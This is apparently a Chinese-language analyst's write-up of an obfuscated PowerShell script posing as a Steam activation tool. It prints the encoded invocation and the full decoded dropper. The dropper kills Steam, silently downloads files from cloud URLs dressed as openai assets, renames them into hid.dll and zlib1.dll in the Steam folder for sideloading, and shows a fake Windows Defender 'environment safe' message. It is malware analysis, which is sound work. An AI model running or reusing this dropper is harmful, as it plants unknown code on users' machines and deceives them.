28608, 27963, 36827, 31243, 20934, 22791, 23601, 32490, 65292, 83, 116, 101, 97, 109, 32, 25171, 24320, 20013, 65292, 35831, 31245, 20505, 46, 46, 46, 34, 10, 10, 32, 32, 32, 32, 102, 111, 114, 32, 40, 36, 105, 32, 61, 32, 57, 59, 32, 36, 105, 32, 45, 103, 101, 32, 48, 59, 32, 36, 105, 45, 45, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 96, 114, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 26412, 31383, 21475, 23558, 22312, 32, 36, 105, 32, 31186, 21518, 20851, 38381, 46, 46, 46, 34, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 116, 97, 114, 116, 45, 83, 108, 101, 101, 112, 32, 45, 83, 101, 99, 111, 110, 100, 115, 32, 49, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 36, 105, 110, 115, 116, 97, 110, 99, 101, 32, 61, 32, 71, 101, 116, 45, 67, 105, 109, 73, 110, 115, 116, 97, 110, 99, 101, 32, 87, 105, 110, 51, 50, 95, 80, 114, 111, 99, 101, 115, 115, 32, 45, 70, 105, 108, 116, 101, 114, 32, 34, 80, 114, 111, 99, 101, 115, 115, 73, 100, 32, 61, 32, 39, 36, 112, 105, 100, 39, 34, 10, 32, 32, 32, 32, 36, 112, 97, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 32, 61, 32, 36, 105, 110, 115, 116, 97, 110, 99, 101, 46, 80, 97, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 10, 32, 32, 32, 32, 83, 116, 111, 112, 45, 80, 114, 111, 99, 101, 115, 115, 32, 45, 73, 100, 32, 36, 112, 97, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 101, 120, 105, 116, 10, 125, 10, 99, 97, 116, 99, 104, 10, 123, 10, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 21457, 29983, 38169, 35823, 65306, 36, 40, 32, 36, 95, 46, 69, 120, 99, 101, 112, 116, 105, 111, 110, 46, 77, 101, 115, 115, 97, 103, 101, 32, 41, 34, 10, 125, 10)|%{([Int]$_ -aS[cHAr])}) -JOIN''|.((gv '*mdr*').NAME[3,11,2]-JoIn'')

根据后面管道符的操作,实际是将整数逐个转换为字符后再连接到一起,然后将整个字符串传递给下面的管道,从名称包含 'mdr' 的变量中提取第3、11、2个字符,并将它们连接起来。

这里先分步骤获取输出结果,先执行前面部分 (xx,xx)|%{([Int]$_ -aS[cHAr])}) -JOIN'',得到了可阅读的 PS 脚本代码,先交给 ChatGPT 分析看看。

在代码中搜索了mdr, 并没有单词命中,不太懂后面的混淆代码有什么用。

Clear-Host
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Continue"

Write-Host -NoNewline "                                                                                                                               `r"
Write-Host -NoNewline "                                                        %@@@@@@@@@@@@                                                          `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@                                                     `r"
Write-Host -NoNewline "                                                %@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                              @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                            @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:                                             `r"
Write-Host -NoNewline "                                          %@@@@@@@@@@@@@@@@@@@@@@@@:        %@@@@@@                                            `r"
Write-Host -NoNewline "                                         @@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@  @@@@@                                           `r"
Write-Host -NoNewline "                                        @@@@@@@@@@@@@@@@@@@@@@@     @        @  :@@@@                                         `r"
Write-Host -NoNewline "                                       @@@@@@@@@@@@@@@@@@@@@@@     @         :@   @@@@                                        `r"
Write-Host -NoNewline "                                      @@@@@@@@@@@@@@@@@@@@@@@     @           -@   @@@@@                                        `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@@@     @             @   @@@@@@                                      `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@        @           @    @@@@@@@                                     `r"
Write-Host -NoNewline "                                    *@@@@@@@@@@@@@@@@@@@@.         @         @    @@@@@@@@                                     `r"
Write-Host -NoNewline "                                        *@@@@@@@@@@@@@@@            @@@@@@@@@    @@@@@@@@@                                     `r"
Write-Host -NoNewline "                                            +@@@@@@@@@@                         @@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                +@@                           @@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                     @@@@@                 @@@@@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                          @           @@@@@@@@@@@@@@@@@@@                                      `r"
Write-Host -NoNewline "                                      @@@                  @   @@@@@@@@@@@@@@@@@@@@@@@@%                                       `r"
Write-Host -NoNewline "                                       @@@@@@    @        @   -@@@@@@@@@@@@@@@@@@@@@@@@                                        `r"
Write-Host -NoNewline "                                       .@@@@@@    @      @    @@@@@@@@@@@@@@@@@@@@@@@@                                         `r"
Write-Host -NoNewline "                                         @@@@@@-   @@@@@@    @@@@@@@@@@@@@@@@@@@@@@@%                                          `r"
Write-Host -NoNewline "                                          @@@@@@@           @@@@@@@@@@@@@@@@@@@@@@@                                            `r"
Write-Host -NoNewline "                                            @@@@@@@@:    @@@@@@@@@@@@@@@@@@@@@@@@@                                             `r"
Write-Host -NoNewline "                                             *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                                @@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@@%                                                    `r"
Write-Host -NoNewline "                                                       @@@@@@@@@@@@@@@+                                                        `r"
Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r"
Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r"
Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r"
Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r"
Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r"
Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r"
Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r"
Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r"
Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r"
Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r"
Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r"
Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r"
Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r"
Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r"
Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r"
Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r"
Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r"
Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r"
Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r"
Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r"
Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r"



$kb250Zip = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_52b2d7308ed75f8a08c0272b8fe4e2bf_2579861713420481504.pak"
$hidTxt = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_8af54131fdcff059be41282a1baf3fa5_2579861711632548286.pak"
$appdata = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_fd8caa77f2849bc3e6f66d8ad05da65b_2579861711632154407.pak"
$z = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_822f765b45f77ae59e7c6091e69e3814_2579861711632742458.pak"




try
{

    $filePathToDelete = Join-Path $env:USERPROFILE "a.ps1"
    if (Test-Path $filePathToDelete)
    {
        Remove-Item -Path $filePathToDelete -Force
    }

    # AppData\Roaming\Stool
    $targetDirectory = Join-Path $env:APPDATA "Stool"
    if (-not(Test-Path $targetDirectory))
    {
        New-Item -Path $targetDirectory -ItemType Directory | Out-Null
    }
    # AppData\Roaming\Stool\legit (文件
    $savePathZip = Join-Path $targetDirectory "legit"
    if (Test-Path $savePathZip)
    {
        Remove-Item -Path $savePathZip -Force -ErrorAction Stop
    }

    Write-Host ""
    Write-Host ""
    Write-Host "  [STEAM] 激活进程准备中,请稍候..."

    # 尝试停止当前运行的 Steam 进程
    $steamRegPath = 'HKCU:\Software\Valve\Steam'
    $steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
    $exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe
    $exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid
    Stop-Process -Id $exePid -ErrorAction SilentlyContinue

    # 获取所有名为 "steam"(但不包括 "steam++")的进程,并强制停止它们
    $runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }
    $runningProcess | ForEach-Object {
        Stop-Process $_ -Force
    }
    # 检查当前用户是否具有管理员权限,如果没有,则打印红色错误消息。
    if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') ))
    {
        Write-Host "  [STEAM] 请使用管理员模式运行" -ForegroundColor Red
    }

    # 等待最多 10 秒,直到所有名为 "steam"(但不包括 "steam++")的进程都停止运行。
    $waitTimes = 10
    while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" })
    {
        Start-Sleep -Seconds 1
        $waitTimes--
        if ($waitTimes -lt 0)
        {
            break
        }
    }
    #设置不显示执行进度
    $ProgressPreference = 'SilentlyContinue'
    #下载文件 AppData\Roaming\Stool\legit
    Invoke-WebRequest -Uri $kb250Zip -OutFile $savePathZip -ErrorAction Stop

    # AppData\Roaming\Stool\winhttp-log.txt
    $savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"
    # AppData\Roaming\Stool\winhttp-log1.txt
    $savePathTxt1 = Join-Path $targetDirectory "winhttp-log1.txt"

    # 是否安装了 Steam
    if ($null -ne $steamPath)
    {
        # 脚本检查 Windows Defender 是否正在运行
        if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" })
        {
            #            Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
            #            Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
            Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
        }
        else
        {
            Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
        }

        # steam/appcache
        $appCacheDirectory = Join-Path $steamPath "appcache"
        # steam/appcache/appdata.vdf
        $savePathVdf = Join-Path $appCacheDirectory "appdata.vdf"

        if (-not(Test-Path $appCacheDirectory))
        {
            # 不存在 appcache 目录则创建
            New-Item -Path $appCacheDirectory -ItemType Directory -ErrorAction Stop | Out-Null
        }
        elseif(Test-Path $savePathVdf)
        {
            # 删除 appcache 目录下的 appdata.vdf 文件
            Remove-Item -Path $savePathVdf -Force -ErrorAction Stop
        }
        # 静默下载文件直接替换 steam/appcache/appdata.vdf
        $ProgressPreference = 'SilentlyContinue'
        Invoke-WebRequest -Uri $appdata -OutFile $savePathVdf -ErrorAction Stop

        # 静默下载文件到 AppData\Roaming\Stool\winhttp-log.txt
        $ProgressPreference = 'SilentlyContinue'
        Invoke-WebRequest -Uri $hidTxt -OutFile $savePathTxt -ErrorAction Stop
        # 静默下载文件到 AppData\Roaming\Stool\winhttp-log1.txt
        $ProgressPreference = 'SilentlyContinue'
        Invoke-WebRequest -Uri $z -OutFile $savePathTxt1 -ErrorAction Stop

        # 删除steam安装目录下的几个文件
        foreach ($file in @("steam.cfg", "version.dll", "user32.dll"))
        {
            $filePath = Join-Path $steamPath $file
            if (Test-Path $filePath)
            {
                Remove-Item $filePath -Force
            }
        }

        # steam/hid.log
        $steamTxt = Join-Path $steamPath "hid.log"
        # 使用 AppData\Roaming\Stool\winhttp-log.txt 覆盖替换到 steam/hid.log
        Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
        if (Test-Path $savePathTxt)
        {
            # 删除 winhttp-log.txt
            Remove-Item $savePathTxt -Force
        }

        # steam/hid.dll
        $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")
        if (Test-Path $d_path)
        {   
            # 删除 steam/hid.dll
            Remove-Item $d_path -Force -ErrorAction Stop
        }
        # 重命名 steam/hid.log -> steam/hid.dll
        Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop

        # steam/zlib1.log
        $steamTxt1 = Join-Path $steamPath "zlib1.log"
        # 使用 AppData\Roaming\Stool\winhttp-log1.txt 覆盖替换到 steam/zlib1.log
        Move-Item -Path $savePathTxt1 -Destination $steamTxt1 -Force -ErrorAction Stop
        if (Test-Path $savePathTxt1)
        {
            # 删除 winhttp-log1.txt
            Remove-Item $savePathTxt1 -Force
        }
        # steam/zlib1.dll
        $d_path1 = [System.IO.Path]::ChangeExtension($steamTxt1, ".dll")
        if (Test-Path $d_path1)
        {
            # 删除 steam/zlib1.dll
            Remove-Item $d_path1 -Force -ErrorAction Stop
        }
        # 重新命名 steam/zlib1.log -> steam/zlib1.dll
        Rename-Item -Path $steamTxt1 -NewName $d_path1 -Force -ErrorAction Stop

        if (-not(Test-Path $exePath))
        {
            $exePath = Join-Path $steamPath "steam.exe"
        }

        if (Test-Path $exePath)
        {
            Invoke-Expression -Command "start steam://open/activateproduct"
        }
        else
        {
            Write-Host "  [STEAM] 主进程 $exePath 丢失,安装失败"
            exit
        }
    }
    else
    {
        Write-Host "  [STEAM] steam 可能没有正确安装,请重新安装steam后再试"
        exit
    }

    Write-Host "  [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."

    for ($i = 9; $i -ge 0; $i--) {
        Write-Host "`r  [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
        Start-Sleep -Seconds 1
    }

    $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
    $parentProcessId = $instance.ParentProcessId
    Stop-Process -Id $parentProcessId -Force
    exit
}
catch
{
    Write-Host "发生错误:$( $_.Exception.Message )"
}

总结脚本执行流程

  1. 首先停止当前运行的 Steam 进程
  2. 检测脚本提示需要 “管理员权限” 运行
  3. 等待 Steam 相关进程停止后,从服务器下载 dll 文件
  4. 删除 Steam 目录下的 "steam.cfg", "version.dll", "user32.dll"
  5. 将下载的文件替换到以下目录
    • steam/appcache/appdata.vdf
    • steam/hid.dll
    • steam/zlib1.dll
    • AppData\Roaming\Stool\legit
  6. 执行 Steam 激活程序

DLL暂时没能力分析(相关文件已备份,如果有大佬想分析一下,欢迎 PR)